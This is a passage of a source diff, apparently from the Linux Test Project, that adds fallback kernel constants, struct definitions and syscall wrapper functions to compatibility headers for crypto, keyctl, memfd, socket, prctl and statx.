+struct crypto_report_larval {
+	char type[CRYPTO_MAX_NAME];
+};
+
+struct crypto_report_hash {
+	char type[CRYPTO_MAX_NAME];
+	unsigned int blocksize;
+	unsigned int digestsize;
+};
+
+struct crypto_report_cipher {
+	char type[CRYPTO_MAX_NAME];
+	unsigned int blocksize;
+	unsigned int min_keysize;
+	unsigned int max_keysize;
+};
+
+struct crypto_report_blkcipher {
+	char type[CRYPTO_MAX_NAME];
+	char geniv[CRYPTO_MAX_NAME];
+	unsigned int blocksize;
+	unsigned int min_keysize;
+	unsigned int max_keysize;
+	unsigned int ivsize;
+};
+
+struct crypto_report_aead {
+	char type[CRYPTO_MAX_NAME];
+	char geniv[CRYPTO_MAX_NAME];
+	unsigned int blocksize;
+	unsigned int maxauthsize;
+	unsigned int ivsize;
+};
+
+struct crypto_report_comp {
+	char type[CRYPTO_MAX_NAME];
+};
+
+struct crypto_report_rng {
+	char type[CRYPTO_MAX_NAME];
+	unsigned int seedsize;
+};
+
+struct crypto_report_akcipher {
+	char type[CRYPTO_MAX_NAME];
+};
+
+struct crypto_report_kpp {
+	char type[CRYPTO_MAX_NAME];
+};
+
+struct crypto_report_acomp {
+	char type[CRYPTO_MAX_NAME];
+};
+
+#endif	/* HAVE_LINUX_CRYPTOUSER_H */
+
+/* These are taken from include/crypto.h in the kernel tree. They are not
+ * currently included in the user API.
+ */
+#ifndef CRYPTO_MAX_ALG_NAME
+#  define CRYPTO_MAX_ALG_NAME		128
+#endif
+
+#ifndef CRYPTO_ALG_TYPE_MASK
+#  define CRYPTO_ALG_TYPE_MASK		0x0000000f
+#endif
+#ifndef CRYPTO_ALG_TYPE_CIPHER
+#  define CRYPTO_ALG_TYPE_CIPHER	0x00000001
+#endif
+#ifndef CRYPTO_ALG_TYPE_COMPRESS
+#  define CRYPTO_ALG_TYPE_COMPRESS	0x00000002
+#endif
+#ifndef CRYPTO_ALG_TYPE_AEAD
+#  define CRYPTO_ALG_TYPE_AEAD		0x00000003
+#endif
+#ifndef CRYPTO_ALG_TYPE_BLKCIPHER
+#  define CRYPTO_ALG_TYPE_BLKCIPHER	0x00000004
+#endif
+#ifndef CRYPTO_ALG_TYPE_ABLKCIPHER
+#  define CRYPTO_ALG_TYPE_ABLKCIPHER	0x00000005
+#endif
+#ifndef CRYPTO_ALG_TYPE_SKCIPHER
+#  define CRYPTO_ALG_TYPE_SKCIPHER	0x00000005
+#endif
+#ifndef CRYPTO_ALG_TYPE_GIVCIPHER
+#  define CRYPTO_ALG_TYPE_GIVCIPHER	0x00000006
+#endif
+#ifndef CRYPTO_ALG_TYPE_KPP
+#  define CRYPTO_ALG_TYPE_KPP		0x00000008
+#endif
+#ifndef CRYPTO_ALG_TYPE_ACOMPRESS
+#  define CRYPTO_ALG_TYPE_ACOMPRESS	0x0000000a
+#endif
+#ifndef CRYPTO_ALG_TYPE_SCOMPRESS
+#  define CRYPTO_ALG_TYPE_SCOMPRESS	0x0000000b
+#endif
+#ifndef CRYPTO_ALG_TYPE_RNG
+#  define CRYPTO_ALG_TYPE_RNG		0x0000000c
+#endif
+#ifndef CRYPTO_ALG_TYPE_AKCIPHER
+#  define CRYPTO_ALG_TYPE_AKCIPHER	0x0000000d
+#endif
+#ifndef CRYPTO_ALG_TYPE_DIGEST
+#  define CRYPTO_ALG_TYPE_DIGEST	0x0000000e
+#endif
+#ifndef CRYPTO_ALG_TYPE_HASH
+#  define CRYPTO_ALG_TYPE_HASH		0x0000000e
+#endif
+#ifndef CRYPTO_ALG_TYPE_SHASH
+#  define CRYPTO_ALG_TYPE_SHASH		0x0000000e
+#endif
+#ifndef CRYPTO_ALG_TYPE_AHASH
+#  define CRYPTO_ALG_TYPE_AHASH		0x0000000f
+#endif
+
+#ifndef CRYPTO_ALG_TYPE_HASH_MASK
+#  define CRYPTO_ALG_TYPE_HASH_MASK	0x0000000e
+#endif
+#ifndef CRYPTO_ALG_TYPE_AHASH_MASK
+#  define CRYPTO_ALG_TYPE_AHASH_MASK	0x0000000e
+#endif
+#ifndef CRYPTO_ALG_TYPE_BLKCIPHER_MASK
+#  define CRYPTO_ALG_TYPE_BLKCIPHER_MASK	0x0000000c
+#endif
+#ifndef CRYPTO_ALG_TYPE_ACOMPRESS_MASK
+#  define CRYPTO_ALG_TYPE_ACOMPRESS_MASK	0x0000000e
+#endif
+
+#endif	/* CRYPTOUSER_H__ */
diff --git a/include/lapi/dccp.h b/include/lapi/dccp.h
index 1d7fa05..0d852ad 100644
--- a/include/lapi/dccp.h
+++ b/include/lapi/dccp.h
@@ -18,7 +18,9 @@
 #ifndef LAPI_DCCP_H__
 #define LAPI_DCCP_H__
 
-#include <linux/dccp.h>
+#ifdef HAVE_LINUX_DCCP_H
+# include <linux/dccp.h>
+#endif
 
 #ifndef DCCP_SOCKOPT_SERVICE
 # define DCCP_SOCKOPT_SERVICE	2
diff --git a/include/lapi/execveat.h b/include/lapi/execveat.h
new file mode 100644
index 0000000..53c8be8
--- /dev/null
+++ b/include/lapi/execveat.h
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2018 MediaTek Inc.  All Rights Reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of version 2 or any later of the GNU General Public License
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it would be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * Further, this software is distributed without any warranty that it is
+ * free of the rightful claim of any third person regarding infringement
+ * or the like.  Any license provided herein, whether implied or
+ * otherwise, applies only to this software file.  Patent licenses, if
+ * any, provided herein do not apply to combinations of this program with
+ * other software, or any other product whatsoever.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ *
+ */
+
+#ifndef EXECVEAT_H
+#define EXECVEAT_H
+
+#include <sys/types.h>
+#include "config.h"
+#include "lapi/syscalls.h"
+
+#if !defined(HAVE_EXECVEAT)
+int execveat(int dirfd, const char *pathname,
+			char *const argv[], char *const envp[],
+			int flags)
+{
+	return tst_syscall(__NR_execveat, dirfd, pathname, argv, envp, flags);
+}
+#endif
+
+
+#endif /* EXECVEAT_H */
diff --git a/include/lapi/fcntl.h b/include/lapi/fcntl.h
index 849439d..358230f 100644
--- a/include/lapi/fcntl.h
+++ b/include/lapi/fcntl.h
@@ -103,6 +103,10 @@
 # define AT_SYMLINK_NOFOLLOW 0x100
 #endif
 
+#ifndef AT_EMPTY_PATH
+# define AT_EMPTY_PATH 0x1000
+#endif
+
 #ifndef AT_REMOVEDIR
 # define AT_REMOVEDIR 0x200
 #endif
diff --git a/include/lapi/fnmatch.h b/include/lapi/fnmatch.h
new file mode 100644
index 0000000..9628ac4
--- /dev/null
+++ b/include/lapi/fnmatch.h
@@ -0,0 +1,14 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Linaro Limited. All rights reserved.
+ * Author: Rafael David Tinoco <rafael.tinoco@linaro.org>
+ */
+
+#ifndef FNMATCH_H__
+#define FNMATCH_H__
+
+#ifndef FNM_EXTMATCH
+#define FNM_EXTMATCH 0
+#endif
+
+#endif
diff --git a/include/lapi/fs.h b/include/lapi/fs.h
new file mode 100644
index 0000000..42cb4f9
--- /dev/null
+++ b/include/lapi/fs.h
@@ -0,0 +1,38 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Referred from linux kernel -github/torvalds/linux/include/uapi/linux/fs.h
+ * Copyright (c) Zilogic Systems Pvt. Ltd., 2018
+ * Email: code@zilogic.com
+ */
+#ifdef HAVE_LINUX_FS_H
+# include <linux/fs.h>
+#endif
+
+#ifndef LAPI_FS_H
+#define LAPI_FS_H
+
+#ifndef FS_IOC_GETFLAGS
+#define	FS_IOC_GETFLAGS	_IOR('f', 1, long)
+#endif
+
+#ifndef FS_IOC_SETFLAGS
+#define	FS_IOC_SETFLAGS	_IOW('f', 2, long)
+#endif
+
+#ifndef FS_COMPR_FL
+#define	FS_COMPR_FL        0x00000004 /* Compress file */
+#endif
+
+#ifndef FS_IMMUTABLE_FL
+#define FS_IMMUTABLE_FL	   0x00000010 /* Immutable file */
+#endif
+
+#ifndef FS_APPEND_FL
+#define FS_APPEND_FL	   0x00000020 /* writes to file may only append */
+#endif
+
+#ifndef FS_NODUMP_FL
+#define FS_NODUMP_FL	   0x00000040 /* do not dump file */
+#endif
+
+#endif
diff --git a/include/lapi/if_packet.h b/include/lapi/if_packet.h
new file mode 100644
index 0000000..c077b56
--- /dev/null
+++ b/include/lapi/if_packet.h
@@ -0,0 +1,18 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author: Jinhui huang <huangjh.jy@cn.fujitsu.com>
+ */
+
+#ifndef __LAPI_IF_PACKET_H__
+#define __LAPI_IF_PACKET_H__
+
+#ifndef PACKET_FANOUT
+#define PACKET_FANOUT	18
+#endif
+
+#ifndef PACKET_FANOUT_ROLLOVER
+#define PACKET_FANOUT_ROLLOVER	3
+#endif
+
+#endif /* __LAPI_IF_PACKET_H__ */
diff --git a/include/lapi/keyctl.h b/include/lapi/keyctl.h
index 4b8098a..9f5892e 100644
--- a/include/lapi/keyctl.h
+++ b/include/lapi/keyctl.h
@@ -99,6 +99,10 @@
 # define KEY_REQKEY_DEFL_THREAD_KEYRING 1
 #endif
 
+#ifndef KEY_REQKEY_DEFL_SESSION_KEYRING
+# define KEY_REQKEY_DEFL_SESSION_KEYRING 3
+#endif
+
 #ifndef KEY_REQKEY_DEFL_DEFAULT
 # define KEY_REQKEY_DEFL_DEFAULT	0
 #endif
@@ -144,4 +148,43 @@
 # define KEYCTL_SET_TIMEOUT 15
 #endif
 
+#ifndef KEYCTL_INVALIDATE
+# define KEYCTL_INVALIDATE 21
+#endif
+
+/* key permissions */
+#ifndef KEY_POS_VIEW
+# define KEY_POS_VIEW    0x01000000
+# define KEY_POS_READ    0x02000000
+# define KEY_POS_WRITE   0x04000000
+# define KEY_POS_SEARCH  0x08000000
+# define KEY_POS_LINK    0x10000000
+# define KEY_POS_SETATTR 0x20000000
+# define KEY_POS_ALL     0x3f000000
+
+# define KEY_USR_VIEW    0x00010000
+# define KEY_USR_READ    0x00020000
+# define KEY_USR_WRITE   0x00040000
+# define KEY_USR_SEARCH  0x00080000
+# define KEY_USR_LINK    0x00100000
+# define KEY_USR_SETATTR 0x00200000
+# define KEY_USR_ALL     0x003f0000
+
+# define KEY_GRP_VIEW    0x00000100
+# define KEY_GRP_READ    0x00000200
+# define KEY_GRP_WRITE   0x00000400
+# define KEY_GRP_SEARCH  0x00000800
+# define KEY_GRP_LINK    0x00001000
+# define KEY_GRP_SETATTR 0x00002000
+# define KEY_GRP_ALL     0x00003f00
+
+# define KEY_OTH_VIEW    0x00000001
+# define KEY_OTH_READ    0x00000002
+# define KEY_OTH_WRITE   0x00000004
+# define KEY_OTH_SEARCH  0x00000008
+# define KEY_OTH_LINK    0x00000010
+# define KEY_OTH_SETATTR 0x00000020
+# define KEY_OTH_ALL     0x0000003f
+#endif /* !KEY_POS_VIEW */
+
 #endif	/* KEYCTL_H__ */
diff --git a/include/lapi/membarrier.h b/include/lapi/membarrier.h
new file mode 100644
index 0000000..2b6c57f
--- /dev/null
+++ b/include/lapi/membarrier.h
@@ -0,0 +1,30 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Linaro Limited. All rights reserved.
+ * Author: Rafael David Tinoco <rafael.tinoco@linaro.org>
+ */
+
+#ifndef LAPI_MEMBARRIER_H
+#define LAPI_MEMBARRIER_H
+
+/*
+ * Having <linux/membarrier.h> is enough to know if the test should run or
+ * not, but it might not define all needed MEMBARRIER_CMD_* being tested,
+ * since its first versions included just a few commands.
+ */
+
+enum membarrier_cmd {
+	MEMBARRIER_CMD_QUERY					= 0,
+	MEMBARRIER_CMD_GLOBAL					= (1 << 0),
+	MEMBARRIER_CMD_GLOBAL_EXPEDITED				= (1 << 1),
+	MEMBARRIER_CMD_REGISTER_GLOBAL_EXPEDITED		= (1 << 2),
+	MEMBARRIER_CMD_PRIVATE_EXPEDITED			= (1 << 3),
+	MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED		= (1 << 4),
+	MEMBARRIER_CMD_PRIVATE_EXPEDITED_SYNC_CORE		= (1 << 5),
+	MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED_SYNC_CORE	= (1 << 6),
+
+	/* Alias for header backward compatibility. */
+	MEMBARRIER_CMD_SHARED			= MEMBARRIER_CMD_GLOBAL,
+};
+
+#endif
diff --git a/include/lapi/memfd.h b/include/lapi/memfd.h
index 18ed40f..12a91f4 100644
--- a/include/lapi/memfd.h
+++ b/include/lapi/memfd.h
@@ -24,4 +24,37 @@
 # define MFD_ALLOW_SEALING       0x0002U
 #endif
 
+/* flags for memfd_create(3) and memfd_create(4) */
+#ifndef MFD_HUGETLB
+#define MFD_HUGETLB 0x0004U
+#endif
+
+#ifndef MFD_HUGE_64KB
+#define MFD_HUGE_64KB (16 << 26)
+#endif
+#ifndef MFD_HUGE_512KB
+#define MFD_HUGE_512KB (19 << 26)
+#endif
+#ifndef MFD_HUGE_2MB
+#define MFD_HUGE_2MB (21 << 26)
+#endif
+#ifndef MFD_HUGE_8MB
+#define MFD_HUGE_8MB (23 << 26)
+#endif
+#ifndef MFD_HUGE_16MB
+#define MFD_HUGE_16MB (24 << 26)
+#endif
+#ifndef MFD_HUGE_256MB
+#define MFD_HUGE_256MB (28 << 26)
+#endif
+#ifndef MFD_HUGE_1GB
+#define MFD_HUGE_1GB (30 << 26)
+#endif
+#ifndef MFD_HUGE_2GB
+#define MFD_HUGE_2GB (31 << 26)
+#endif
+#ifndef MFD_HUGE_16GB
+#define MFD_HUGE_16GB (34 << 26)
+#endif
+
 #endif
diff --git a/include/lapi/mlock2.h b/include/lapi/mlock2.h
new file mode 100644
index 0000000..fa2b2de
--- /dev/null
+++ b/include/lapi/mlock2.h
@@ -0,0 +1,16 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+
+#ifndef LAPI_MLOCK2_H__
+# define LAPI_MLOCK2_H__
+
+#include <linux/mman.h>
+
+#ifndef MLOCK_ONFAULT
+# define MLOCK_ONFAULT	0x01
+#endif
+
+#endif /* LAPI_MLOCK2_H__ */
diff --git a/include/lapi/mmap.h b/include/lapi/mmap.h
index 7a55800..18547c0 100644
--- a/include/lapi/mmap.h
+++ b/include/lapi/mmap.h
@@ -71,6 +71,11 @@
 # define MADV_FREE	8
 #endif
 
+#ifndef MADV_WIPEONFORK
+# define MADV_WIPEONFORK 18
+# define MADV_KEEPONFORK 19
+#endif
+
 #ifdef HAVE_SYS_SHM_H
 # include <sys/shm.h>
 # define MMAP_GRANULARITY SHMLBA
diff --git a/include/lapi/netinet_in.h b/include/lapi/netinet_in.h
index 84aca4d..427f283 100644
--- a/include/lapi/netinet_in.h
+++ b/include/lapi/netinet_in.h
@@ -24,4 +24,12 @@
 #define IPPROTO_DCCP		33
 #endif
 
+#ifndef IPPROTO_UDPLITE
+# define IPPROTO_UDPLITE	136 /* UDP-Lite (RFC 3828) */
+#endif
+
+#ifndef IP_BIND_ADDRESS_NO_PORT
+# define IP_BIND_ADDRESS_NO_PORT	24
+#endif
+
 #endif	/* LAPI_IN_H__ */
diff --git a/include/lapi/prctl.h b/include/lapi/prctl.h
new file mode 100644
index 0000000..6db8a64
--- /dev/null
+++ b/include/lapi/prctl.h
@@ -0,0 +1,17 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+
+#ifndef LAPI_PRCTL_H__
+# define LAPI_PRCTL_H__
+
+#include <sys/prctl.h>
+
+#ifndef PR_SET_CHILD_SUBREAPER
+# define PR_SET_CHILD_SUBREAPER	36
+# define PR_GET_CHILD_SUBREAPER	37
+#endif
+
+#endif /* LAPI_PRCTL_H__ */
diff --git a/include/lapi/preadv2.h b/include/lapi/preadv2.h
new file mode 100644
index 0000000..aacf96f
--- /dev/null
+++ b/include/lapi/preadv2.h
@@ -0,0 +1,26 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+
+#ifndef PREADV2_H
+#define PREADV2_H
+
+#include "config.h"
+#include "lapi/syscalls.h"
+
+#if !defined(HAVE_PREADV2)
+
+/* LO_HI_LONG taken from glibc */
+# define LO_HI_LONG(val) (long) (val), (long) (((uint64_t) (val)) >> 32)
+
+ssize_t preadv2(int fd, const struct iovec *iov, int iovcnt, off_t offset,
+		int flags)
+{
+	return tst_syscall(__NR_preadv2, fd, iov, iovcnt,
+			   LO_HI_LONG(offset), flags);
+}
+#endif
+
+#endif /* PREADV2_H */
diff --git a/include/lapi/pwritev2.h b/include/lapi/pwritev2.h
new file mode 100644
index 0000000..305e48e
--- /dev/null
+++ b/include/lapi/pwritev2.h
@@ -0,0 +1,26 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
+ * Author: Jinhui Huang <huangjh.jy@cn.fujitsu.com>
+ */
+
+#ifndef PWRITEV2_H
+#define PWRITEV2_H
+
+#include "config.h"
+#include "lapi/syscalls.h"
+
+#if !defined(HAVE_PWRITEV2)
+
+/* LO_HI_LONG taken from glibc */
+# define LO_HI_LONG(val) (long) (val), (long) (((uint64_t) (val)) >> 32)
+
+ssize_t pwritev2(int fd, const struct iovec *iov, int iovcnt, off_t offset,
+		int flags)
+{
+	return tst_syscall(__NR_pwritev2, fd, iov, iovcnt,
+			   LO_HI_LONG(offset), flags);
+}
+#endif
+
+#endif /* PWRITEV2_H */
diff --git a/include/lapi/rpc.h b/include/lapi/rpc.h
new file mode 100644
index 0000000..a779a6d
--- /dev/null
+++ b/include/lapi/rpc.h
@@ -0,0 +1,39 @@
+/*
+ * Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef LAPI_RPC_H__
+#define LAPI_RPC_H__
+
+#include "config.h"
+
+#ifdef HAVE_NETCONFIG_H
+# include <netconfig.h>
+# include <rpc/rpc.h>
+# include <rpc/types.h>
+# include <rpc/xdr.h>
+# include <rpc/svc.h>
+#elif defined(HAVE_TIRPC_NETCONFIG_H)
+# include <tirpc/netconfig.h>
+# include <tirpc/rpc/rpc.h>
+# include <tirpc/rpc/types.h>
+# include <tirpc/rpc/xdr.h>
+# include <tirpc/rpc/svc.h>
+#else
+# error Missing rpc headers!
+#endif
+
+#endif	/* LAPI_RPC_H__ */
diff --git a/include/lapi/rt_sigaction.h b/include/lapi/rt_sigaction.h
index 18236db..2dbbc76 100644
--- a/include/lapi/rt_sigaction.h
+++ b/include/lapi/rt_sigaction.h
@@ -177,6 +177,12 @@
 }
 #endif
 
+#ifdef TST_TEST_H__
+# define TST_SYSCALL tst_syscall
+#else
+# define TST_SYSCALL ltp_syscall
+#endif
+
 /* This is a wrapper for __NR_rt_sigaction syscall.
  * act/oact values of INVAL_SA_PTR is used to pass
  * an invalid pointer to syscall(__NR_rt_sigaction)
@@ -232,11 +238,11 @@
 
 
 #ifdef __sparc__
-	ret = ltp_syscall(__NR_rt_sigaction, signum,
+	ret = TST_SYSCALL(__NR_rt_sigaction, signum,
 			kact_p, koact_p,
 			stub, sigsetsize);
 #else
-	ret = ltp_syscall(__NR_rt_sigaction, signum,
+	ret = TST_SYSCALL(__NR_rt_sigaction, signum,
 			kact_p, koact_p,
 			sigsetsize);
 #endif
diff --git a/include/lapi/safe_rt_signal.h b/include/lapi/safe_rt_signal.h
new file mode 100644
index 0000000..67fa444
--- /dev/null
+++ b/include/lapi/safe_rt_signal.h
@@ -0,0 +1,50 @@
+/*
+ * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
+ */
+
+#ifndef SAFE_RT_SIGNAL_H__
+#define SAFE_RT_SIGNAL_H__
+
+#include <signal.h>
+#include "lapi/rt_sigaction.h"
+
+static inline int safe_rt_sigaction(const char *file, const int lineno,
+                                    int signum, const struct sigaction *act,
+                                    struct sigaction *oact, size_t sigsetsize)
+{
+	int ret;
+
+	ret = ltp_rt_sigaction(signum, act, oact, sigsetsize);
+	if (ret < 0) {
+		tst_brk(TBROK | TERRNO,
+			"%s:%d: ltp_rt_sigaction(%i, %p, %p, %zu) failed",
+			file, lineno, signum, act, oact, sigsetsize);
+	}
+
+	return ret;
+}
+
+#define SAFE_RT_SIGACTION(signum, act, oldact, sigsetsize) \
+	safe_rt_sigaction(__FILE__, __LINE__, signum, act, oldact, sigsetsize)
+
+
+static inline int safe_rt_sigprocmask(const char *file, const int lineno,
+                                      int how, const sigset_t *set,
+                                      sigset_t *oldset, size_t sigsetsize)
+{
+	int ret;
+
+	ret = tst_syscall(__NR_rt_sigprocmask, how, set, oldset, sigsetsize);
+	if (ret < 0) {
+		tst_brk(TBROK | TERRNO,
+		        "%s:%d: rt_sigprocmask(%i, %p, %p, %zu) failed",
+			file, lineno, how, set, oldset, sigsetsize);
+	}
+
+	return ret;
+}
+
+#define SAFE_RT_SIGPROCMASK(how, set, oldset, sigsetsize) \
+	safe_rt_sigprocmask(__FILE__, __LINE__, how, set, oldset, sigsetsize)
+
+#endif /* SAFE_RT_SIGNAL_H__ */
diff --git a/include/lapi/sctp.h b/include/lapi/sctp.h
new file mode 100644
index 0000000..647052b
--- /dev/null
+++ b/include/lapi/sctp.h
@@ -0,0 +1,29 @@
+/*
+ * Copyright (c) 2018 Oracle and/or its affiliates.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef LAPI_SCTP_H__
+#define LAPI_SCTP_H__
+
+#ifdef HAVE_NETINET_SCTP_H
+# include <netinet/sctp.h>
+#endif
+
+#ifndef SCTP_SOCKOPT_BINDX_ADD
+# define SCTP_SOCKOPT_BINDX_ADD	100
+#endif
+
+#endif	/* LAPI_SCTP_H__ */
diff --git a/include/lapi/socket.h b/include/lapi/socket.h
index 95337ce..d58c460 100644
--- a/include/lapi/socket.h
+++ b/include/lapi/socket.h
@@ -21,6 +21,10 @@
 
 #include <sys/socket.h>
 
+#ifndef MSG_ZEROCOPY
+# define MSG_ZEROCOPY	0x4000000 /* Use user data in kernel path */
+#endif
+
 #ifndef MSG_FASTOPEN
 # define MSG_FASTOPEN	0x20000000 /* Send data in TCP SYN */
 #endif
@@ -29,6 +33,10 @@
 # define SO_BUSY_POLL	46
 #endif
 
+#ifndef SO_ZEROCOPY
+# define SO_ZEROCOPY	60
+#endif
+
 #ifndef SOCK_DCCP
 # define SOCK_DCCP		6
 #endif
@@ -37,6 +45,14 @@
 # define SOCK_CLOEXEC 02000000
 #endif
 
+#ifndef SOL_SCTP
+# define SOL_SCTP	132
+#endif
+
+#ifndef SOL_UDPLITE
+# define SOL_UDPLITE		136 /* UDP-Lite (RFC 3828) */
+#endif
+
 #ifndef SOL_DCCP
 # define SOL_DCCP		269
 #endif
diff --git a/include/lapi/stat.h b/include/lapi/stat.h
new file mode 100644
index 0000000..979e42d
--- /dev/null
+++ b/include/lapi/stat.h
@@ -0,0 +1,257 @@
+//SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Referred from linux kernel -github/torvalds/linux/include/uapi/linux/fcntl.h
+ * Copyright (c) Zilogic Systems Pvt. Ltd., 2018
+ * Email: code@zilogic.com
+ */
+#ifndef LAPI_STAT_H
+#define LAPI_STAT_H
+
+#include <stdint.h>
+#include <unistd.h>
+#include "lapi/syscalls.h"
+/*
+ * Timestamp structure for the timestamps in struct statx.
+ *
+ * tv_sec holds the number of seconds before (negative) or after (positive)
+ * 00:00:00 1st January 1970 UTC.
+ *
+ * tv_nsec holds a number of nanoseconds (0..999,999,999) after the tv_sec time.
+ *
+ * __reserved is held in case we need a yet finer resolution.
+ */
+#if defined(HAVE_STRUCT_STATX_TIMESTAMP)
+#include <sys/stat.h>
+#else
+struct statx_timestamp {
+	int64_t tv_sec;
+	uint32_t tv_nsec;
+	int32_t __reserved;
+};
+#endif
+/*
+ * Structures for the extended file attribute retrieval system call
+ * (statx()).
+ *
+ * The caller passes a mask of what they're specifically interested in as a
+ * parameter to statx().  What statx() actually got will be indicated in
+ * st_mask upon return.
+ *
+ * For each bit in the mask argument:
+ *
+ * - if the datum is not supported:
+ *
+ *   - the bit will be cleared, and
+ *
+ *   - the datum will be set to an appropriate fabricated value if one is
+ *     available (eg. CIFS can take a default uid and gid), otherwise
+ *
+ *   - the field will be cleared;
+ *
+ * - otherwise, if explicitly requested:
+ *
+ *   - the datum will be synchronised to the server if AT_STATX_FORCE_SYNC is
+ *     set or if the datum is considered out of date, and
+ *
+ *   - the field will be filled in and the bit will be set;
+ *
+ * - otherwise, if not requested, but available in approximate form without any
+ *   effort, it will be filled in anyway, and the bit will be set upon return
+ *   (it might not be up to date, however, and no attempt will be made to
+ *   synchronise the internal state first);
+ *
+ * - otherwise the field and the bit will be cleared before returning.
+ *
+ * Items in STATX_BASIC_STATS may be marked unavailable on return, but they
+ * will have values installed for compatibility purposes so that stat() and
+ * co. can be emulated in userspace.
+ */
+#if defined(HAVE_STRUCT_STATX)
+#include <sys/stat.h>
+#else
+struct statx {
+	/* 0x00 */
+	uint32_t	stx_mask;
+	uint32_t	stx_blksize;
+	uint64_t	stx_attributes;
+	/* 0x10 */
+	uint32_t	stx_nlink;
+	uint32_t	stx_uid;
+	uint32_t	stx_gid;
+	uint16_t	stx_mode;
+	uint16_t	__spare0[1];
+	/* 0x20 */
+	uint64_t	stx_ino;
+	uint64_t	stx_size;
+	uint64_t	stx_blocks;
+	uint64_t	stx_attributes_mask;
+	/* 0x40 */
+	const struct statx_timestamp	stx_atime;
+	const struct statx_timestamp	stx_btime;
+	const struct statx_timestamp	stx_ctime;
+	const struct statx_timestamp	stx_mtime;
+	/* 0x80 */
+	uint32_t	stx_rdev_major;
+	uint32_t	stx_rdev_minor;
+	uint32_t	stx_dev_major;
+	uint32_t	stx_dev_minor;
+	/* 0x90 */
+	uint64_t	__spare2[14];
+	/* 0x100 */
+};
+#endif
+
+#if !defined(HAVE_STATX)
+
+/*
+ * statx: wrapper function of statx
+ *
+ * Returns: It returns status of statx syscall
+ */
+static inline int statx(int dirfd, const char *pathname, unsigned int flags,
+			unsigned int mask, struct statx *statxbuf)
+{
+	return tst_syscall(__NR_statx, dirfd, pathname, flags, mask, statxbuf);
+}
+#endif
+
+/*
+ * Flags to be stx_mask
+ *
+ * Query request/result mask for statx() and struct statx::stx_mask.
+ *
+ * These bits should be set in the mask argument of statx() to request
+ * particular items when calling statx().
+ */
+#ifndef STATX_TYPE
+# define STATX_TYPE		0x00000001U
+#endif
+
+#ifndef STATX_MODE
+# define STATX_MODE		0x00000002U
+#endif
+
+#ifndef STATX_NLINK
+# define STATX_NLINK		0x00000004U
+#endif
+
+#ifndef STATX_UID
+# define STATX_UID		0x00000008U
+#endif
+
+#ifndef STATX_GID
+# define STATX_GID		0x00000010U
+#endif
+
+#ifndef STATX_ATIME
+# define STATX_ATIME		0x00000020U
+#endif
+
+#ifndef STATX_MTIME
+# define STATX_MTIME		0x00000040U
+#endif
+
+#ifndef STATX_CTIME
+# define STATX_CTIME		0x00000080U
+#endif
+
+#ifndef STATX_INO
+# define STATX_INO		0x00000100U
+#endif
+
+#ifndef STATX_SIZE
+# define STATX_SIZE		0x00000200U
+#endif
+
+#ifndef STATX_BLOCKS
+# define STATX_BLOCKS		0x00000400U
+#endif
+
+#ifndef STATX_BASIC_STATS
+# define STATX_BASIC_STATS	0x000007ffU
+#endif
+
+#ifndef STATX_BTIME
+# define STATX_BTIME		0x00000800U
+#endif
+
+#ifndef STATX_ALL
+# define STATX_ALL		0x00000fffU
+#endif
+
+#ifndef STATX__RESERVED
+# define STATX__RESERVED	0x80000000U
+#endif
+
+/*
+ * Attributes to be found in stx_attributes and masked in stx_attributes_mask.
+ *
+ * These give information about the features or the state of a file that might
+ * be of use to ordinary userspace programs such as GUIs or ls rather than
+ * specialised tools.
+ *
+ * Note that the flags marked [I] correspond to generic FS_IOC_FLAGS
+ * semantically.  Where possible, the numerical value is picked to correspond
+ * also.
+ */
+#ifndef STATX_ATTR_COMPRESSED
+# define STATX_ATTR_COMPRESSED	0x00000004
+#endif
+
